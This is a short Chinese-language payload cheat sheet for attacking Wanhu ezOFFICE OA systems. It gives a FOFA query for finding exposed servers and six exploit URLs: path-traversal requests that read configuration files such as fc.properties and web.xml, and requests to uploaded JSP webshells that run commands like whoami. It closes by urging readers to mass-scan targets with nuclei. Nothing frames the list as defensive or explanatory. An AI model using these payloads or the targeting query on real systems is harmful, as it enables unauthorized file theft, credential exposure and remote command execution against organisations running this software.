万户OA系列

fofa:app="万户网络-ezOFFICE"

0x01

万户OA DownloadServlet 任意文件读取漏洞

payload:/defaultroot/DownloadServlet?FileName=WEB-INF%2Fclasses%2Ffc.properties&cd=&downloadAll=2&encrypt=x&key=x&modeType=0&name=x&path=..

0x02

万户OA download_ftp.jsp 任意文件下载漏洞

payload:/defaultroot/download_ftp.jsp?FileName=web.xml&name=aaa&path=%2F..%2FWEB-INF%2F

0x03

万户OA officeserverservlet + attachmentserver 可getshell

payload:/defaultroot/upload/html/osias.jsp?i=whoami&pwd=osias

0x04

万户OA download_old.jsp 任意文件下载漏洞

payload:/defaultroot/download_old.jsp?path=..&name=x&FileName=index.jsp

0x05

万户OA smartUpload.jsp 任意文件上传漏洞

payload:defaultroot/upload/information/2023031913581010961293379.jsp?i=whoami&pwd=023

0x06

万户OA fileUpload.controller 任意文件上传漏洞

payload:/defaultroot/upload/html/2023031913585977075164873.jsp?i=whoami&pwd=023

0x07

nuclei脚本直接刷起来把